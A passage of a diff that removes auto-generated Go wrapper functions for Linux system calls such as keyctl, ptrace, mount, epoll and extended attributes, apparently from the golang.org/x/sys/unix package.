-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
